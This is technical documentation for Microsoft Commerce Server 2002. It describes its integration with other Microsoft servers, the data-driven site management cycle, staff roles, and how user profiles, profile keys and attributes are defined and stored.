The Commerce Server .NET Application Framework enables you to create .NET-based Commerce Server applications by using the new features of the .NET Framework. The Commerce Server .NET Application Framework provides two new layers to the Commerce Server platform: the Base Class Library and the Common Language Runtime Interop Layer. These layers allow ASP.NET code to run Commerce Server services and systems. Using Visual Studio .NET, you can access Commerce Server features and tools to build a Commerce Server application.

For software requirements for using Visual Studio .NET to develop a Commerce Server application, see the Commerce Server 2002 Installation Guide.

For information about developing a .NET-based Commerce Server application, see Commerce Server .NET Application Framework.

For information about using the International Retail sample site to develop your site, see International Retail Site.

See Also

Commerce Server .NET Application Framework

International Retail Site

Deploying Your Site


Microsoft Content Management Server 2001 and Later

You can use Microsoft Content Management Server 2001 (MSCMS) and later editions to define pages in MSCMS folders, based on templates defined in the MSCMS templates gallery and posted to MSCMS channels. The MSCMS Content Connector is also used to achieve certain aspects of the integration with Microsoft Commerce Server 2002.

Content Management Server automates the publishing process and contains scheduling, version control, customizable workflow, browser-based publishing, and archiving features. It enables you to reuse and share content across enterprise applications. Content creators can add or change content without assistance from technical staff.

Integration with Microsoft Content Management Server is not provided out-of-the-box with Commerce Server 2002. This functionality is provided by the Microsoft Solution for Internet Business. For more information about this solution, see http://go.microsoft.com/fwlink/?LinkId=6064.

Note

  • The Content Management Server 2001 MethodSystems site does not work with Commerce Server 2002.

See Also

Deploying Your Site


Microsoft BizTalk Server 2000 and Later

Commerce Server integrates with Microsoft BizTalk Server 2000 and later editions. BizTalk Server provides a comprehensive solution for business-to-business electronic document exchange and business process integration. BizTalk Server acts as a business document gateway between trading partners, and manages the data translation, encryption, digital signatures, and document tracking services for many different transport mechanisms.

You can integrate Commerce Server and BizTalk Server, for example, to exchange catalogs of products that you post on your Web site, and to send orders entered on your Web site to suppliers for fulfillment.

For more information about integrating Commerce Server and BizTalk Server, see Integrating with BizTalk Server.

See Also

Integrating with BizTalk Server

Deploying Your Site


Microsoft SQL Server 2000

Microsoft SQL Server 2000 provides a scalable database that combines ease of use with complex analysis and data warehousing tools. SQL Server includes a rich graphical user interface (UI) along with a complete development environment for creating data-driven applications.

Commerce Server takes advantage of SQL Server data warehousing and analysis capabilities in several key areas. The Commerce Server Data Warehouse, for example, uses SQL Server Data Transformation Services (DTS) to transform data stored in SQL Server databases to the format used by Commerce Server resources.

Commerce Server also depends on SQL Server for catalog replication. For more information, see Replicating Catalog Content.

See Also

Replicating Catalog Content

Deploying Your Site


Microsoft Application Center 2000 and Later

Commerce Server 2002 can be used with Microsoft Application Center 2000 and later editions. Application Center is a high-availability deployment and management tool for Web applications built on Windows 2000. It extends the core set of Web application services found in Microsoft Windows 2000 (Internet Information Services (IIS) 5.0, Active Server Pages (ASP), COM+, Message Queuing), and provides a suite of monitoring, testing, and diagnostic tools not available in the core operating system. Application Center is designed for customers with high-end requirements for scalability and availability.

You can use Application Center with Commerce Server to perform deployments, incremental updates to your Web site, and rollbacks. For more information about using Application Center with Commerce Server, see Deploying Your Site.

See Also

Deploying Your Site


COM+ Services

Microsoft COM+ Services (Component Services, including Microsoft Transaction Server) is a unified programming model that is used to build component-based, three-tier distributed applications. COM+ builds on the Microsoft Component Object Model (COM) by combining COM with the transactional features of Microsoft Transaction Server (MTS). It extends the programming environment by adding a rich set of features to make it easier for site developers to develop, deploy, and administer highly-scalable, distributed, component-based solutions.


Microsoft Internet Security and Acceleration Server 2000 and Later

Commerce Server 2002 integrates with Microsoft Internet Security and Acceleration Server 2000 (ISA) and later editions. ISA is an extensible enterprise firewall and Web cache server that provides powerful security and network acceleration. It can be used to provide the firewalls that are required for security purposes in deployment environments.

See Also

Securing Your Site

Deploying Your Site


Microsoft Host Integration Server 2000

Microsoft Host Integration Server 2000 is a comprehensive integration platform that provides support for Internet, intranet, and client/server technologies while preserving investments in existing systems. By recognizing that accessing existing data is only the first step in leveraging enterprise computing resources, Host Integration Server provides enterprise developers with a way to create distributed applications that make the most of either client/server or Web computing and host information.


Commerce Server Concepts

To optimize your use of Commerce Server 2002, it is important that you have a sound understanding of the underlying concepts on which it is built.

This section contains:

  • Closing the Loop. Describes how you can use Commerce Server to continuously collect data about user activity on your Web site, analyze the data, and use the results of the analysis to update your site.
  • Roles and Responsibilities. Describes how the Commerce Server design targets the skills of three key groups: Web site developers, system administrators, and business managers. Lists the interfaces and tools available for each group.
  • Profile Concepts. Describes Commerce Server profiles, how profiles are created, and how profiles are used in Web site management.
  • User List and Mailing List Concepts. Describes Commerce Server user lists and mailing lists, and how these lists are used in Web site management.
  • Catalog Concepts. Describes Commerce Server catalogs, how catalogs are used in Web site management, how catalogs are structured, and how they are populated with product data.
  • Data Warehouse Concepts. Describes the Commerce Server Data Warehouse, how it is used in Web site management, and how it is populated with data.
  • Prediction and Data Mining Concepts. Describes Commerce Server analysis models, how they are created, and how they are used in Web site management.
  • Pipeline Concepts. Describes Commerce Server pipelines and how to use them.
  • Targeting and Personalization Concepts. Describes Commerce Server targeting and personalization, and how they are used.
  • Campaign Concepts. Describes Commerce Server campaigns, how campaigns are used in Web site management, how campaigns are structured, and how they are processed.
  • Ad Concepts. Describes Commerce Server ads, their components, and how they are processed.
  • Discount Concepts. Describes Commerce Server discounts, types of discounts, how to use them, and how they are processed.
  • Direct Mail Concepts. Describes Commerce Server direct mail, how to use opt-out lists, and how direct mail is processed.
  • Order Management Concepts. Describes Commerce Server orders, how to manage them, and how they are processed.
  • International Solution Concepts. Describes process of internationalizing a site.


Closing the Loop

Closing the loop is the process of collecting user profile information, targeting users with marketing campaigns, analyzing the results of those campaigns, and then implementing next-generation changes based on what you discover. This loop occurs primarily at the business analytics level so that implementation is driven by strategic analysis. It allows for the ongoing, integrated assessment of your site’s performance.

Closed-loop personalization is the process of using tools that allow targeted, custom content to be presented to the customer in a timely and predictive manner.

A figure that illustrates the stages of the site management cycle.

Commerce Server 2002 provides a set of features to manage and increase the effectiveness of your site. You can use Commerce Server to:

  • Collect and Store User Data
  • Analyze User Data
  • Update Your Site
  • Implement the Cycle - A Team Effort

By analyzing the user activity on your site, you can make decisions about how to improve your site and meet business goals.

Collect and Store User Data

You can collect three types of data about the users who visit your site:

  • Explicit profile data. Obtained when users provide information about themselves by completing online forms, surveys, and polls.
  • Click history. Obtained when users visit your site and click links to site pages. The click history includes the length of time a user spent visiting your site, the address of the referring site, the number of ad clicks, ad reach, click frequency, and the path the user takes through the site, including entry and exit pages. For example, you can collect browsing activities for a particular user session in which the user spent 17 minutes at the site, viewed catalog descriptions of three catalog products, added two of them to the basket, clicked one promotional ad, and then added the promoted item to the basket.
  • Transaction history. Obtained when users purchase products. The transaction history records baskets and orders. For example, the transaction history could include the user name, shipping address, date and time, product purchased, and total order value.

This data is collected in the Web server log files and the Commerce Server databases. On a regular basis the system administrator imports the data from the Web server log files and Commerce Server databases into the Commerce Server Data Warehouse. The Data Warehouse includes a central database that contains a large amount of data collected from several different data sources, such as Web server log files, the Commerce Server databases, and any other data sources that you specify.

The following figure shows how user data is collected in Web server logs and the Commerce Server databases, and is then stored in the Data Warehouse.

A figure showing how user data is collected and stored.

Analyze User Data

You analyze data in the Data Warehouse to determine important information about your business. You can identify what is selling well, and by using Commerce Server 2002 Enterprise Edition, you can identify the types of users who visit your site, characteristics common to the users who made purchases, and which advertising campaigns are successful.

To analyze data about user activity on your site, you use the Analysis modules in Commerce Server Business Desk. You can analyze user activity by running reports against the Data Warehouse, or by viewing analysis models that are generated by the Commerce Server Predictor resource.

The following figure shows how you can use Business Desk to access data in the Data Warehouse, and then perform different types of analysis.

A figure showing how data can be analyzed.

Commerce Server provides two types of reports that you can use to analyze site activity:

  • Dynamic reports. These reports transform specific data into a Microsoft® PivotTable® format from which you can rearrange columns and create charts.
  • Static reports. These reports appear in a browser window in HTML format. You can send these reports to others by e-mail, post them on your Web site, and edit them in other applications. For example, by using Microsoft Internet Explorer, you can export the report into a Word document and then edit it.

Commerce Server includes several reports that you can run from Business Desk, such as advertising reports, product sales reports, and Web usage reports. You can use one or more of these reports, or your site developer can customize a report to retrieve other data. For a complete list of reports provided with Commerce Server, see Commerce Server 2002 Reports.

In addition to analyzing reports, you can use the Segment Viewer module in Business Desk in Commerce Server 2002 Enterprise Edition to identify segments of the user population who visit your site. A segment is a group of users who share similar characteristics. For example, one segment of users might be female users who purchase science fiction books. Another segment might be male users who purchase books about golf. After you have identified the characteristics of a user segment, you can use this information to update your site and then target content to that user segment.

Update Your Site

Based on your analysis of user data, you can make changes to your site to refine the strategies you use to target users, promote popular pages, or make popular products easier to find. For example, if you discover that all your users view a page that is four clicks away from the home page, you can redesign your site so that the popular page is only one click away.

You can also use the results of your analysis to target specific groups of users, to sell certain products in your catalog, or to create advertisements or discounts. For example, suppose that you sell sporting goods on your site. You analyze user activity, and then use Business Desk Campaigns to generate a list of registered users who enjoy biking. You then target an ad for a new bike accessory to this group so that the ad displays prominently when those users visit your site. For more information about targeting users, see Targeting and Personalization Concepts.

Implement the Cycle - A Team Effort

To effectively implement the site management cycle, the business manager, site developer, and system administrator need to communicate and work together to implement updates to the site. You should establish a process to facilitate this communication. For example, to update a large set of user profiles in bulk, the business manager contacts the system administrator, who then performs this task. To add new functionality to Business Desk, such as a module for selling gift certificates, the business manager contacts the site developer and communicates the requirements.

In many organizations, the business manager, system administrator, and site developer might work in different departments, cities, or countries/regions, so it is important to establish an effective process for communication, and to assess the process periodically to ensure that it is working.

For an overview of the tasks typically performed by the business manager, site developer, and system administrator, see Roles and Responsibilities.

See Also

Targeting and Personalization Concepts

Roles and Responsibilities

Profile Concepts

Prediction and Data Mining Concepts

Data Warehouse Concepts


Roles and Responsibilities

Commerce Server 2002 provides a set of features and tools to develop, deploy, and manage Web sites. Working with Commerce Server requires specific skills that span three areas of expertise within an organization. In the following table, Commerce Server features are grouped for use by the three general role categories within an organization, with the skill sets shown.

Role | Expected knowledge
Site developer | Dynamic Hypertext Markup Language (DHTML), Extensible Markup Language (XML), Microsoft ActiveX Data Objects (ADO), HTML Components (HTC), and Active Server Pages (ASP)
System administrator | Microsoft Windows 2000 Server, Microsoft SQL Server 2000, and Internet Information Services (IIS) 5.0
Business manager | Business goals, strategies, and processes for creating and running a successful e-commerce Web site

In your organization these roles might be combined in various ways or they might have different names. However, they represent the three distinct skill sets required to use Commerce Server features.

The following table lists the three roles, provides examples of the tasks performed by each one, and lists the Commerce Server 2002 tools and Help topics that might be used in performing the tasks.

Role Responsibilities Tools and user interfaces
Site developer
  • Builds the Web site
  • Integrates the Web site with existing systems
  • Migrates existing e-commerce sites and databases
  • Customizes Commerce Server Business Desk
  • Builds new Business Desk modules
  • Adds new extension snap-ins to the Microsoft Management Console (MMC)
  • Creates custom reports
  • Extends the Data Warehouse
  • Developer's Guide
  • Programmer's Reference
  • Pipeline Editor
  • Pipeline Component Reference
  • Using Site Packager
System administrator
  • Packages and moves sites to the production computer
  • Configures and optimizes Commerce Server resources
  • Schedules Data Warehouse import tasks
  • Schedules Direct Mailer jobs
  • Builds new analysis models
  • Maintains Commerce Server databases
  • Troubleshoots the Web site environment
  • Using Site Packager
  • Administering Commerce Server
Business manager
  • Creates specifications for developing the Web site
  • Determines how the Web site should be updated in order to meet business goals
  • Requests new and customized modules for Business Desk
  • Creates advertising campaigns
  • Manages product catalogs
  • Analyzes user activity and site effectiveness
  • Manages registered users and trading partners
  • Working with Business Desk


Profile Concepts

Profiles are essential to Web site management because they provide information about the users who visit your Web site and how they use it. You use profiles to analyze user data and to target content to users.

A profile is a set of characteristics that define any business-related item, such as a user, a company, or a context (date and time). For example, a user profile might include characteristics such as first name, last name, city, gender, age, and e-mail address. A company profile might include different characteristics, such as the company name, contact, city, and e-mail address. A context profile might include characteristics such as the date and time when a page is displayed, and the path the user takes to get to that page.

The following figure shows different types of profiles.

A figure illustrating different types of profiles.

In Commerce Server, you use profiles to collect information about business-related items. For example, you use profiles to collect data from users on your Web site. You can also enter data directly into the user and organization profiles by using Business Desk.

Profile data is stored in the Profiles data store in Microsoft Active Directory, SQL Server, or both, or in any OLE DB-compliant data store. To manage the Profiles data store, you use the Profiles resource, which you access in Commerce Server Manager.

In Commerce Server 2002 Enterprise Edition, you can export data from the Profiles data store into the Data Warehouse, and then use Business Desk to analyze the profile data that is collected. To specify which profile data is to be exported to the Data Warehouse, you use the Business Desk Profiles modules.

Note
  • Commerce Server does not include the Microsoft Site Server 3.0 Membership Directory. For information about migrating profile information from the Membership Directory to Commerce Server, see Upgrading from Site Server 3.0.

This section contains:

  • Using Profiles in Web Site Management
  • Profile Structure
  • Profile Definitions
  • Profile Properties
  • Profile Property Attributes
  • Collecting and Storing Profiles
  • Sample Profile Definitions
  • Using Profiles in a Web Farm Scenario


Using Profiles in Web Site Management

Using Commerce Server Business Desk, you can:

  • Determine what information to collect about users visiting your site.
  • Analyze profile information.
  • Create target expressions to match content to users.
  • Create advertising, discount, and direct mail campaigns to target specific user groups.
  • Deliver personalized direct mail messages to users.

For example, assume you have a site that sells sporting goods. The following workflow provides an example of how you can use profiles to analyze user activity and target content to users. For detailed instructions for this workflow, see "Business Desk Business-to-Consumer Tutorial" in Commerce Server 2002 Help.

  1. Your system administrator creates profile definitions for registered users and anonymous users who visit your sporting goods Web site.
  2. After your site has been running for a period of time, you analyze profile data to determine who is visiting your site and what they are buying:
    • You run the New Registered Users report and the Registered User Properties to analyze the profile properties of the users who visit your site.
    • You run the Product Sales report to review product sales volume and revenue by date. This report shows the total quantity and revenue, sorted by product category.
    • You run the Customer Sales report to see customer details, total sales, and total orders.
  3. Use the results of your analysis to create a campaign to target content to users:
    • You export the Customer Sales report to the the List Manager module in Commerce Server Business Desk, and use the profile information to target customers and to create a campaign that offers a discount to specific users.
  4. After the discount has been in production for a period of time, analyze the results of the campaign:
    • Run the Campaign Item Summary report to review the click-through percent.
    • Run the Ad Reach and Frequency by Date report to review the behavior of users in relation to campaign items on your site. This report shows the activity of users per day for each campaign item.
  5. If your users did not increase their purchases of discounted items, run the Customer Sales report again, and export the report to the List Manager module. Create a direct mail campaign to deliver personalized direct mail based on the user profiles.

For information about creating expressions and targeting content to users, see Targeting and Personalization Concepts.


Profile Structure

You use the Profiles resource and Profiles modules to create and manage profiles. A Commerce Server profile consists of the following parts:

  • Profile definition. A description of the data to be collected for a given type of profile. For example, the User Object profile definition can be used to create a profile for each user who registers on your site. System administrators use the Profiles resource in Commerce Server Manager to create profile definitions.
  • Profile property. A characteristic that specifies the profile data to be collected when a user visits your Web site. For example, the First Name property specifies that the first name of the user should be collected. Use the Business Desk Profile Definition Designer module to add profile properties to profile definitions.
  • Profile property attribute. A characteristic that specifies information about a profile property such as the data type of the property (for example, number, string, decimal, and site term).

Every profile is based on a single profile definition. You can embed profile definitions to create profiles that reference each other, for example, by adding an Address profile definition to the User Object profile definition, you can collect an address for a user and the user can reference the address. You use the Profile Definition Designer module in Commerce Server Business Desk to edit and manage profile definitions.

The following table shows a sample User Object profile definition, and then a single instance of the sample user profile with data for Sean Chai.

Profile definition: User | Profile: Sean Chai
First name | Sean
Last name | Chai
City | Seattle
Gender | M
Age | 52
E-mail address | seanchai@microsoft.com

See Also

Using Profiles in Web Site Management

Profile Definitions

Profile Properties

Profile Property Attributes

Collecting and Storing Profiles

Sample Profile Definitions


Profile Definitions

A profile definition is a set of characteristics that define any business-related item, such as a user, a company, or a business process. If your site developer used a Solution Site to build your site, you should have the following five sample profile definitions:

  • Address
  • BlanketPOs (purchase orders)
  • Organization
  • Targeting Context
  • User Object

Before you create new profile definitions, first determine where the profile data will be stored in the database, and add the appropriate table and columns for the data. For example, assume the business manager requests a new profile definition named Music, and wants to store the following profile properties: First Concert, Last Concert, Favorite CD, and two more properties that are not yet determined. You determine that the best place to store this data is in a new table named Music, in a new SQL Server database named Arts. To create the Music profile definition, you do the following:

  • Use SQL Server Enterprise Manager to:
    1. Create the SQL Server database named Arts.
    2. Create the Music table in the Arts database, and add columns for the five data members that are to be stored there.
  • Use the Profiles resource to:
    1. Map to the new data source, Arts. You only need to perform this step once. After you have mapped a new data source to the Profiles resource, you do not need to do so again.
    2. Create a data object named Music and map it to the Music table in the Arts database.
    3. Create data members named First Concert, Last Concert, Favorite CD, Placeholder1, and Placeholder2, and map them to the appropriate columns in the Music table.

    The following figure illustrates how elements in a SQL Server database, the Profiles resource, and a profile definition map to each other.

    A figure illustrating the relationships among SQL Server, Profiles resource, and a profile definition

For detailed instructions about using the Profiles resource to extend your profiles schema, see Running the Profiles Resource.

After you create the profile definition and the properties, the business manager can use the Profile Definition Designer module in Business Desk to add First Concert, Last Concert, and Favorite CD to the definition. To perform this step, the business manager maps these properties to the data members you created, so you need to provide the data member names. If you want to map the properties to the data members, you can do so by using Commerce Server Manager.

At a later date, when the business manager determines other information to collect by using the Music profile definition, the business manager can use the Profile Definition Designer module to create two new properties and map them to the placeholder data members you created in the Music table.

The Commerce Server Solution Sites include the following sample profile definitions: Address, BlanketPOs (purchase orders), Organization, User Object, and Targeting Context. In the User Object profile definition, five unnamed properties are included so you can add properties to the User Object profile definition without extending your database. For a list of properties included with each profile definition, see Sample Profile Definitions.

Profile Definition Keys

You must define one or more keys for every valid profile definition. You can identify unique, primary, join, and hashing keys by examining the Key type property in the Advanced Attributes section in the Profile Definition Designer module of Business Desk or in the profile definition of the Profiles resource in Commerce Server Manager.

Unique Key

A unique key indicates that the value of this property is unique for all members. You map an attribute that is specified as a unique key to a unique field in a SQL Server database or to a unique attribute in a Lightweight Directory Access Protocol (LDAP) source.

Every profile definition property marked as a key has the Unique Key attribute turned on. Only properties of string or numeric data types can be marked as keys. A profile definition can have any number of keys, although from a performance and memory perspective, it is better to have as few keys as possible.

All core profile object management operations in the Profiling System (CreateProfile, GetProfile, GetProfileByKey, DeleteProfile, DeleteProfileByKey) work with key members only. The Profiling System does not guarantee the uniqueness of properties that are marked as unique keys. Instead, it relies on constraints on objects in the underlying data stores (tables for relational databases or classes for directory stores) to implicitly enforce uniqueness.

Primary Key

A primary key indicates that the value of this property is unique for all members. You map an attribute that is specified as a primary key to a primary field in a SQL Server database or to a unique attribute in an LDAP source. The primary key is used to relate profiles created with embedded profile definitions.

Every profile definition must have exactly one unique key property marked as a primary key. You should mark the profile property most commonly used to operate on profile object instances as the primary key.

A primary key is identified by a red "P" or a green "D" (for a dual primary and join key) that precedes the property in the Profile Designer module of Business Desk or in the profile definition of the Profiles resource in Commerce Server Manager.

Join Key

A join key relates multiple data stores through a common property in the Profile Service. To edit a property that is defined as a join key that has been used to collect data, you must delete the database columns containing the join key data. After you delete the database columns, you must migrate the old data into the new database columns. Commerce Server 2002 does not support modifying the join key property when you have persisted data.

Every profile definition must have exactly one unique key property marked as a join key. For optimal performance, you should also mark the primary key on the profile definition as the join key. If you do not provide a value for the join key property when you create the profile object, then the Profiling System automatically generates a value for this member.

A join key is identified by a blue "J" or a green "D" (for a dual primary and join key) that precedes the property in the Profile Designer module of Business Desk or in the profile definition of the Profiles resource in Commerce Server Manager. The Profiling System uses the join key property to assemble profile object fragments stored in multiple data stores. Join key property values are replicated across all data stores.

Note

  • After the join key property has been committed to the underlying stores, it cannot be updated.

Hashing Key

Every profile definition can have one unique key property marked as the hashing key. The profile aggregation layer uses the hashing key property to hash a profile object to a unique partition within a data source. The presence of a hashing key property is the only way to indicate that instances of a profile definition will be stored across multiple partitions of a data source. The absence of this property results in all profile instances being stored in the default partition.

You should mark the join key on the profile definition as the hashing key. For optimal performance, you should mark the same property as the primary key, the join key, and the hashing key.

You can identify a hashing key by examining the Advanced Attributes/Hashing key in the Profile Designer module of Business Desk or in the profile definition of the Profiles resource in Commerce Server Manager.

Notes

  • After the profile object has been committed to the underlying stores, the hashing key property value cannot be updated.
  • For partitioned ANSI SQL stores only, profile object retrieval operations based on a non-hashing key and the GetInfo method of the ProfileObject object could fail. However, this is not true for LDAP version 3-compliant stores.

See Also

Running the Profiles Resource

Using Profiles in Web Site Management

Profile Structure

Profile Properties

Profile Property Attributes

Collecting and Storing Profiles

Sample Profile Definitions


Profile Properties

After the system administrator creates a profile definition, you can add profile properties to it by using the Profile Definition Designer module in Business Desk. Profile properties determine what information is collected in a profile. For example, the User Object profile definition could contain the following properties: first name, last name, city, gender, age, and e-mail address.

The following figure shows the parts of a sample User Object profile definition.

A figure showing parts of a profile definition

See Also

Running the Profiles Resource

Using Profiles in Web Site Management

Profile Structure

Profile Definitions

Profile Property Attributes

Collecting and Storing Profiles

Sample Profile Definitions


Profile Property Attributes

Each profile property has attributes. Attributes provide information about the property such as the data type of the property (for example, number, string, decimal, and site term), whether the property is single-valued (for example, only one First Name is allowed) or multi-valued, and whether the profile property is indexed.

A site term is a data type that you create. It is a list of specific values that are pertinent to your site. You use a site term to assign this list of values to a property as an attribute. For example, you could create a site term named Gender, and define the following possible values: Female, Male, and Unknown. When you create a profile property named Gender and assign it the data type "site term," only one of the possible values can be assigned to the profile. You create site terms by using the Site Terms Editor module in Business Desk, and then you assign them to the profile definition by using the Profile Definition Designer module.

You apply site terms to profile properties, establishing common words that you can use throughout Commerce Server, for example, to match the user preferences to content. For more information about how profiles are used to deliver content, see Targeting and Personalization Concepts.

Custom Attributes and Advanced Attributes

There are two special types of profile attributes: custom attributes and advanced attributes.

Custom profile attributes are application-specific attributes. You can define custom attributes for properties. For example, you can create a custom attribute that controls how a property is displayed on a Web site page.

Custom attributes control how the Profile Editor module displays a generic profile in the Find screen and in the Edit Profile screen.

For newly created generic profiles, you must set the sDisplayColumn and sFriendlyName custom attributes. If these attributes are not defined, the Find now button is not enabled, and you will not be able to search for instances of those profiles.

  • sDisplayColumn. The display name of the property is displayed as a column name in the Find screen.

    Properties with the sDisplayColumn custom attribute are displayed on the Find screen from left to right in the order they appear in the Properties List in the Profile screen. The value of the sDisplayColumn custom attribute determines the relative width of the column for that property. For example, if the value of the column width for the first property is two and the value of the column width for the second property is four, the second column will be twice as wide as the first.

    This attribute is case-sensitive and has a maximum width of 100. When a profile contains only one property that has an sDisplayColumn custom attribute defined, then by default the profile display column is sorted in ascending order on that property. Properties with this attribute cannot be defined as a join or dual key, they cannot be a site term or profile type reference, and they must be mapped to a data member.

  • sFriendlyName. The display name of the property is displayed in the title bar of the Edit Profile <profile friendly name> screen. The display name is also used as the first column on the left side of the Find screen.

    This attribute is case-sensitive. Properties with this attribute cannot be defined as a join or dual key, they cannot be a site term or profile type reference, and they must be mapped to a data member.

You use the advanced attributes to change how your applications use a profile property. For example, the Exported attribute determines whether the property will be imported into the Data Warehouse.

The following table lists the advanced attributes and the purpose of each one.

Attribute | Purpose
Active Indicates whether this property is available through the Profiling system. Inactive properties are not displayed in Business Desk.

A property can be active only if it is mapped to data.
Map to data | The data member the property maps to. You can add, delete, or edit profiles based on a given profile definition only if that profile defintion has at least one mapped property.
Key type There are four key types you can assign. These are described earlier, in "Profile Definition Keys."
  • Unique key. Indicates that the value of this property is unique for all members. You map an attribute that is specified as a unique key to a unique field in a SQL Server database or to a unique attribute in a Lightweight Directory Access Protocol (LDAP) source.
  • Primary key. Indicates that the value of this property is unique for all members. You map an attribute that is specified as a primary key to a primary field in a SQL Server database or to a unique attribute in an LDAP source. The primary key is used to relate profiles created with embedded profile definitions.
  • Join key. Relates multiple data stores through a common property in the Profile Service. To edit a property that is defined as a join key that has been used to collect data, you must delete the database columns containing the join key data. After you delete the database columns, you must migrate the old data into the new database columns. Commerce Server 2002 does not support modifying the join key property when you have persisted data.
  • Dual (primary and join) key. Indicates that the value of this property is unique, and relates this property to a property in another data store.
Required | Indicates that the property is required. If a property is required, it must also be active.
Exported | Specifies that the property is imported into the Data Warehouse.
Defer cache load | Indicates that this property is not loaded initially when the profile is retrieved, but will be loaded when this particular property is accessed.
Multi-valued | Enables the capturing of a collection of values that are associated with the property. If a property is multi-valued, it is not searchable.
Searchable | Indicates that this property is indexed in the underlying data store and is available for searching by using the Find By function. You map a searchable attribute to an indexed field in the SQL Server database or LDAP source. If a property is searchable, it cannot be multi-valued.
RDN | The Relative Distinguished Name (RDN) for a directory store. If this attribute is set for a property, this member maps to the RDN attribute of an LDAP class in the underlying store. This does not apply to OLE DB Provider for Microsoft Commerce Server (OLE DB) sources, or to any other data source type.
Hashing key | Indicates that this property will be used to distribute profile instances across multiple partitions. To retrieve this profile you must query on this key.

Using Hashing Keys to Store Profile Definition Data in Multiple Databases

A hashing key is a unique key that is used to keep data from a single source (in this case, a profile definition) together, even though physically it is stored in multiple databases. Data sources use a hashing key to partition data across multiple databases. You use the Profiles resource (or the Profile Definition Designer module in Commerce Server Business Desk) to select a profile property to be the hashing key for a profile definition.

If you do not define a profile property as the hashing key, all data collected with a profile definition is stored in the database assigned to the default partition. After you have defined a hashing key, you cannot redefine it.

See Also

Running the Profiles Resource

Using Profiles in Web Site Management

Profile Structure

Profile Definitions

Profile Properties

Collecting and Storing Profiles

Sample Profile Definitions


Collecting and Storing Profiles

Profile data is collected at a Commerce Server site in two ways. Users visiting your site provide profile data about themselves; this is called explicit profiling. For example, when users purchase products from your site, they typically provide their name, mailing address, phone number, and e-mail address. This information is used to populate their user profile.

You can also collect data through implicit profiling. In implicit profiling, the actions of all users (anonymous and registered) are recorded in Web log files as the users interact with your Web site. For example, Web log files record the links that anonymous users click, what products they search for, the length of their sessions, and how long they visit a given Web page. Even though the users are anonymous — you do not know their names, e-mail addresses, or other information — how they use your site is still important information. For example, a click history provides a path through the Web pages visited; you can use this information to determine a particular set of interests. For information about how cookies are used in Commerce Server, see Authentication Concepts.

Another form of implicit profiling is performed by the Commerce Server Predictor resource. If some information about a user is missing—for example, the Music Preference associated with a user—the Predictor resource can guess this information based on the aggregate properties of the user population who visits your site and the CDs they purchase. For information about the prediction feature, see Prediction and Data Mining Concepts.

All the information that is collected during a specific user session is collected in a single profile, that is, one instance of a profile definition.

When profile data is initially collected, it is first stored in the Commerce Server databases and the Web server logs. The system administrator imports the profile data into the Data Warehouse on a regular basis. After the profiles are imported into the Data Warehouse, you can use Business Desk to analyze user data, and then use the results of your analysis to update your Web site or apply values to user profile properties.

The following figure shows how the OLE DB Provider for Commerce Server gets data from the Profile data import DTS task, and uses it to update the relevant databases.

A figure that shows how the OLE DB Provider for Commerce Server gets data

The following figure shows how the OLE DB Provider for Commerce Server gets data from the Business Desk Profiles modules and the Profiles resource in Commerce Server Manager, and uses it to update the relevant databases.

A figure that shows how the OLE DB Provider for Commerce Server gets data

See Also

Using Profiles in Web Site Management

Profile Structure

Profile Definitions

Profile Properties

Sample Profile Definitions


Sample Profile Definitions

Commerce Server Solution Sites include sample profile definitions. If your site developer used a Solution Site to build your site, you should have the five profile definitions listed in the following table.

Profile Definition | Properties (data type) | Description
Address | Address ID (string) | Address identifier
 | ID (string) | Organization/User identifier
 | Last Name (string) | User last name
 | First Name (string) | User first name
 | Address Name (string) | Name for this address
 | Address Type (number) | Address/Ship to address/Bill to address
 | Description (string) | Description for this address
 | Address Line 1 (string) | First line of address
 | Address Line 2 (string) | Second line of address
 | City (string) | City name
 | Region Code (string) | State, region, or province code
 | State Name (string) | State, region, or province name
 | Postal Code (string) | Postal code
 | Country/Region Code (string) | Country/Region International Standards Organization (ISO) code
 | Country/Region Name (string) | Country/Region name
 | Telephone Number (string) | Telephone number at this address
 | Telephone Extension (string) | Telephone number extension at this address
 | Locale ID (number) | Locale in which to render the address form
 | Changed by (string) | Name of person who last changed this profile
 | Date last changed (date/time) | Date this profile was last changed
 | Date created (date/time) | Date this profile was created
BlanketPOs | Purchase Order ID (string) | Globally unique identifier (GUID) referring to the blanket purchase order
 | Organization ID (string) | Organization ID
 | PO Number (string) | Blanket purchase order number
 | Description (string) | Description of purchase order
 | Changed by (string) | Name of person who last changed this profile
 | Date last changed (date/time) | Date this profile was last changed
 | Date created (date/time) | Date this profile was created
Organization | Organization ID (string) | Organization ID
 | Name (string) | Name of the organization
 | Trading partner number (string) | Trading partner number
 | Administrative contact (string) | GUID for the administrative contact
 | Receiver (string) | User ID of the person to receive products shipped from the supplier
 | Organization catalog set (string) | Organization catalog set
 | Changed by (string) | Name of person who last changed this profile
 | Purchasing manager (string) | User ID of the purchasing manager of the buying organization
 | Date last changed (date/time) | Date this profile was last changed
 | Date created (date/time) | Date this profile was created
User Object | User ID (string) | User ID
 | Logon name (string) | Logon name
 | User password (password) | User password
 | E-mail (string) | User e-mail address
 | User type (number) | User type
 | User title (string) | User title
 | Last name (string) | Last name of user
 | First name (string) | First name of user
 | Telephone number (string) | Telephone number for user
 | Telephone extension (string) | Telephone number extension for user
 | Fax number (string) | Fax number for user
 | Fax extension (string) | Fax number extension for user
 | Changed by (string) | Name of person who last changed this profile
 | Organization ID (string) | Organization ID
 | Account status (number) | Account status
 | User catalog set (string) | User catalog set
 | Date registered (date/time) | Date the user registered
 | Campaign History (string) | Campaign history
 | Partner service role flags (number) | Partner service role
 | Date last changed (date/time) | Date this profile was last changed
 | Date created (date/time) | Date this profile was created
Targeting Context | Page Group (string) | Name of the page group (for example, Sports pages)

See Also

Running the Profiles Resource

Using Profiles in Web Site Management

Profile Structure

Profile Definitions

Profile Properties

Profile Property Attributes

Collecting and Storing Profiles


Using Profiles in a Web Farm Scenario

In a Web farm scenario, each server provides a local profile cache. The value of the user's profile (UserObject profile) in a particular cache can become outdated if the profile was changed on a different server. In order for the server to recognize that the user's profile has changed, a last updated timestamp is set in both the user's profile (in the Profiles store) and in a cookie for the user, when the profile is created and updated (by using the UpdateUserProfile method).

When a user visits a server in the Web farm, the timestamp in the profile in the local cache is checked against the timestamp in the cookie (by using the GetCurrentUserProfile method). If they are not equal, the profile is retrieved from the Profiles store (by using the GetInfo method of the IADs interface), bypassing the local cache. If cookies are not enabled, the cache is always bypassed, because there is no reliable way of tracking the last updated time due to Back button, page refresh, and other issues.

